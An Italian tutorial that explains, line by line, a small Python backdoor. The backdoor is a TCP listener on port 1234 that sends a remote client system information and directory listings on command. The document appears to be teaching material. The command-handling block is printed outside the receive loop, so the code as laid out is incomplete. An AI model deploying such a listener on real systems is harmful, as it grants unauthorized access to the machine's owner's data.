Breve introduzione e spiegazione di una backdoor: **Una backdoor è un tipo di programma che consente a un utente di ottenere l'accesso non autorizzato a un sistema informatico bypassando le normali misure di sicurezza.**

```
#IMPORTAZIONE LIBRERIE

import socket, platform, os  #Importazione di tre librerie (SOCKET che serve per la comunicazione di rete) - (PLATFORM che serve per ottenere informazioni sui sistemi) e (OS che viene utilizzato per interagire con il file system)

#CONFIGURAZIONE SERVER

SRV_ADDR = ""   #sta ad indicare l'indirizzo del server (che lasciandolo vuoto, esso ascolterà su tutti gli indirizzi IP disponibili)

SRV_PORT = 1234  # si riferisce alla porta su cui il server ascolterà le connessioni.

#CREAZIONE DEL SOCKET

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  #Viene creato un socket TCP (socket.SOCK_STREAM) per la comunicazione di rete

s.bind((SRV_ADDR, SRV_PORT))  #Il socket è legato all'indirizzo e alla porta specificati

s.listen(1)  #Il server inizia ad ascoltare connessioni in ingresso con s.listen(1)

connection, address = s.accept()  #Quando un client si connette, viene accettata la connessione e salvata nelle variabili connection e address

print("Client connected:", address)  #Viene stampato l'indirizzo del client connesso

#CICLO PER LA GESTIONE DELLA CONNESSIONE

while 1:  #Il server entra in un ciclo infinito per gestire la connessione

   try: #Prova a ricevere dati dal client con la limitazione di 1024 byte

      data = connection.recv(1024)

   except:continue  #Se si verifica un'eccezione, continua semplicemente al ciclo successivo
```

```
#GESTIONE DEI COMANDI RICEVUTI

if(data.decode('utf-8') == '1'):  #Se il comando ricevuto è '1', il server invia al client le informazioni sul sistema operativo e sull'architettura della macchina

    tosend = platform.platform() + " " + platform.machine()

    connection.sendall(tosend.encode())


#GESTIONE DEI COMANDI RICEVUTI

elif(data.decode('utf-8') == '2'):  #Se il comando ricevuto è '2', il server attende di ricevere un altro messaggio che dovrebbe contenere il percorso di una directory

    data = connection.recv(1024)

    try:  #Il server tenta di elencare i file nella directory specificata

      filelist = os.listdir(data.decode('utf-8'))

      tosend = ""   # Inizializza una stringa vuota che sarà usata per costruire la lista di file

      for x in filelist:  #Scorre ogni nome di file (o directory) nella lista filelist

        tosend += "," + x  #Aggiunge ciascun nome di file alla stringa tosend, preceduto da una virgola. Questo significa che tosend sarà una stringa di nomi di file separati da virgole

    except:

      tosend = "Wrong path"  #Se la directory non esiste o si verifica un errore, invia "Wrong path" al client

    connection.sendall(tosend.encode())


#GESTIONE DEI COMANDI RICEVUTI

elif(data.decode('utf-8') == '0'):  #Se il comando ricevuto è '0', il server chiude la connessione corrente e ne accetta una nuova

    connection.close()

    connection, address = s.accept()
```